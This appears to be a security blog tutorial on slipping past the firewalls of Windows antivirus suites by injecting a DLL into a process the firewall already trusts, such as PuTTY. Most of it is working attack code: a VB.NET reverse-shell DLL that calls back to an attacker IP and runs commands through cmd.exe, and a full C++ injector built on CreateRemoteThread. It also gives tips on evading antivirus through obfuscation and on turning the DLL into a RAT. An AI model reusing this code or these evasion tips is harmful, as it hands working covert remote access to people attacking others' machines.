Bypass (Interactive) Firewalls using DLL Injection

In this post I will describe how to use DLL injection to bypass the firewall of various Windows AV solutions. The majority of the typical home-user oriented firewall software determine whether to allow an application to establish remote connections (either inbound or outbound) by several critiria such as whether the application is digitally signed, who is the developer, what it the reputation of the file in the antivirus' rating system database, whether the device is connected to a Home or Public network etc. However, in most cases, only the application itself is checked against these conditions and the loaded (or injected) libraries are ignored. Therefore, when a rule is created that allows an application to establish remote connections, the DLLs that are used by the application inherit the same rules. By using DLL injection an attacker can create a malicious DLL and inject it to another process which is already allowed through the firewall, so as to establish remote connections unhindered. In other words, due to the fact that the firewall does not differrentiate the DLL and the application, it is possbile to gain the same 'firewall privileges' as the target application.

Based on this observation, the idea is to create a malicious DLL (VB.NET) that acts as a reverse shell and use a DLL Injector (C++) to inject it to a legit application such as 'PuTTY' on a system that runs ESET Smart Security with firewall set to interactive mode (of course any other mode will work as long as the target application is allowed through the firewall).

For the DLL I used the code shown below, which is very simple but effective and most importantly undetected:

Imports System.Runtime.InteropServices
Imports RGiesecke.DllExport
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading

Public Module Mod11
    Dim ShClient As New Net.Sockets.TcpClient
    Dim DataStream As NetworkStream

    <DllExport("RemShell")>
    Public Sub RemShell()
        Try
            ShClient.Connect("192.168.71.129", 9990)
            Dim RecvThr As New Thread(AddressOf ShRecv)
            RecvThr.Start()
        Catch ex As Exception : End Try
    End Sub

    Sub SendData(ByVal msg As String)
        Dim SendBytes As Byte()
        SendBytes = Encoding.ASCII.GetBytes(msg)
        DataStream = ShClient.GetStream
        DataStream.Write(SendBytes, 0, SendBytes.Length)
    End Sub

    Sub ShRecv()
        Do
            Dim ReceivedText As String = Nothing
            Dim ReceiveBytes(1023) As Byte
            Dim BytesReceived As Integer
            Do
                DataStream = ShClient.GetStream
                BytesReceived = DataStream.Read(ReceiveBytes, 0, ReceiveBytes.Length)
                If Not Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived).EndsWith(vbLf) Then
                    ReceivedText = ReceivedText & Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
                Else
                    Dim temp As String = Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
                    Dim Array() As String = Split(temp, vbLf)
                    ReceivedText = ReceivedText & Array(0)
                    CMDOutput(ReceivedText)
                    Exit Do
                End If
            Loop
        Loop
    End Sub

    Sub CMDOutput(ByVal cmd As String)
        Dim p As New Process()
        p.StartInfo.FileName = "cmd.exe"
        p.StartInfo.Arguments = "/c " & cmd
        p.StartInfo.RedirectStandardError = True
        p.StartInfo.RedirectStandardOutput = True
        p.EnableRaisingEvents = True
        p.StartInfo.CreateNoWindow = True
        p.StartInfo.UseShellExecute = False
        AddHandler p.ErrorDataReceived, AddressOf proc_OutputDataReceived
        AddHandler p.OutputDataReceived, AddressOf proc_OutputDataReceived
        Try
            p.Start()
            p.BeginErrorReadLine()
            p.BeginOutputReadLine()
            p.WaitForExit()
        Catch ex As Exception
            SendData("Error: " & ex.Message)
        End Try
    End Sub
    Public Sub proc_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
        SendData(e.Data & vbLf)
    End Sub
End Module

Some notes:

  • We have to install the UnmanagedExports nuget package by Robert Giesecke (also have to install .NET Framework 3.5 and MS Build Tools 2015) in order export the DLL's function natively so it can be used by the injector:

You can include any code you wish on the DLL, even implement a whole RAT, however you should avoid mainstream ideas like invoking metasploit shellcodes beacuse the resulting DLL will be detected by the AV and it won't be allowed to run. At this point feel free to try encryption/packing/obfuscation techniques to bypass the AV.

For the next part we have to create the injector. The steps we have to follow in order to perform the DLL injection and invoke a remote function are the following:

Call the 'LoadLibraryA' function from the target process and load our malicious DLL to its address space:

  1. Get the address of the 'LoadLibraryA' function from the injector app itself (it will be the same for the target process)

  2. Allocate a new memory region inside the target process' address space to write the path of our DLL

  3. Write the path of our DLL to the target process' newly allocated memory region. This will be defined later as the argument of the 'LoadLibraryA' function

  4. Call 'LoadLibraryA' from the target process

Calculate the offset between the base of the DLL and the exported function and use 'CreateRemoteThread' to call it on the target process:

  1. Get the base address of the injected DLL in the target process

  2. Load the DLL in the injector app itself

  3. Use 'GetProcAddress' to get the address of the exported function (in our case 'RemShell') from the injector app

  4. Calculate the offset of the function from the base of the DLL

  5. Add this offset to the base of the injected DLL we got earlier

  6. Use 'CreateRemoteThread' on this address on the target application

The code of the injector can be seen below:

#include <iostream>
#include <stdio.h>
#include <string>
#include <windows.h>
#include <cassert>

LPVOID GetPayloadExportAddr(LPCWSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName) {
	// Load the DLL in the virtual address space of this injector
	HMODULE hLoaded = LoadLibrary(lpPath);

	if (hLoaded == NULL) {
		return NULL;
	}
	else {

		// Use 'GetProcAddress' to get the address of the exported function (in our case RemShell)
		LPVOID lpFunc = (LPVOID)GetProcAddress(hLoaded, lpFunctionName);
		
		// Calculate the offset of the exported function from the base of the DLL
		DWORD dwOffset = (char*)lpFunc - (char*)hLoaded;

		FreeLibrary(hLoaded);
		// Add this offset to the base of the injected DLL we got earlier
		LPVOID final = LPVOID((DWORD)hPayloadBase + dwOffset);
		return final;
	}
}

BOOL InitPayload(HANDLE hProcess, LPCWSTR lpPath, HMODULE hPayloadBase, HWND hwndDlg) {
	LPVOID lpInit = GetPayloadExportAddr(lpPath, hPayloadBase, "RemShell");
	if (lpInit == NULL) {
		return FALSE;
	}
	else {

		// Use 'CreateRemoteThread' on the calculated address on the target application
		HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpInit, hwndDlg, 0, NULL);
		if (hThread == NULL) {
			return FALSE;
		}
		else {
			CloseHandle(hThread);
		}
	}

	return TRUE;
}

int main(int argc, char* argv[]) {
	// Start 'PuTTY' and get the PID based on the window title
	system("start C:\\Users\\john\\Desktop\\putty.exe");
	Sleep(2000);
	LPCWSTR windowName = L"PuTTY Configuration";
	HWND windowHandle = FindWindowW(NULL, windowName);
	DWORD* processID = new DWORD;
	GetWindowThreadProcessId(windowHandle, processID);
	std::wcout << L"Process ID of " << windowName << L" is: " << *processID << std::endl;
	if (processID != 0) {

		// Path of the target DLL to be injected
		const char* buffer = "C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll";
				
		int procID = *processID;
		HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
		if (process == NULL) {
			printf("Couldn't find the specified process\n");
			exit(EXIT_FAILURE);
		}

		// Get the address of the 'LoadLibraryA' function from this injector app (it will be the same for the target process)
		LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
		if (addr == NULL) {
			printf("Couldn't find the LoadLibraryA function\n");
			exit(EXIT_FAILURE);
		}
				
		// Allocate a new memory region inside the target process' address space to write the path of our DLL
		LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if (arg == NULL) {
			printf("Couldn't allocate memory inside the chosen process\n");
			exit(EXIT_FAILURE);
		}

    // Write the path of our DLL to the target process' newly allocated memory region
    // This will be defined later as the argument of the LoadLibraryA function
		int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
		if (n == 0) {
			printf("Couldn't write to the target process' address space\n");
			exit(EXIT_FAILURE);
		}
				
		// Call 'LoadLibraryA' from the target process to force load our DLL
		HANDLE hThread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
		if (hThread == NULL) {
			printf("Couldn't create the remote thread\n");
			exit(EXIT_FAILURE);
		}
		
		// hInjected is the base address of the injected DLL
		HMODULE hInjected;
		if (hThread != 0) {
			WaitForSingleObject(hThread, INFINITE);
			GetExitCodeThread(hThread, (LPDWORD)&hInjected);
			CloseHandle(hThread);

			BOOL test = InitPayload(process, L"C:\\Users\\john\\Desktop\\VBDLL\\VBDLL\\bin\\x86\\Release\\VBDLL.dll", hInjected, NULL);
			
		}
		else {
			exit(EXIT_FAILURE);
		}
		getchar();
	CloseHandle(process);
	return 0;
	}
}

Some notes:

  • In the injector we can also implement any additonal features we want, such as to search for applications that will most likely be allowed to access the internet, check which AV is run, compile the DLL dynamically etc.

  • IF you want to call a specific DLL function, like in this example, the above code works only for 32-bit. If you want to target a 64-bit application you cannot use a specific exported DLL function, but you can place your code in DLLMain and it will be executed after the remote call to 'LoadLibraryA'.

  • In essence for the injection to take place all we need is a target process, so if the target application is not already running we can simply launch a hidden instance.

Let's test it in action:

First start a listening netcat server:

Then start the injector application, which will start 'PuTTY' and inject the DLL:

As you can see the DLL is injected and the firewall, which is set to interactive mode, asks whether to allow 'PuTTY' to connect or not. Supossing that the victim has already used the target application once and that it has a rule which allows outbound connections, the reverse shell would be established without warning at all.

Back on the attacker's system we have a reverse shell:

Last updated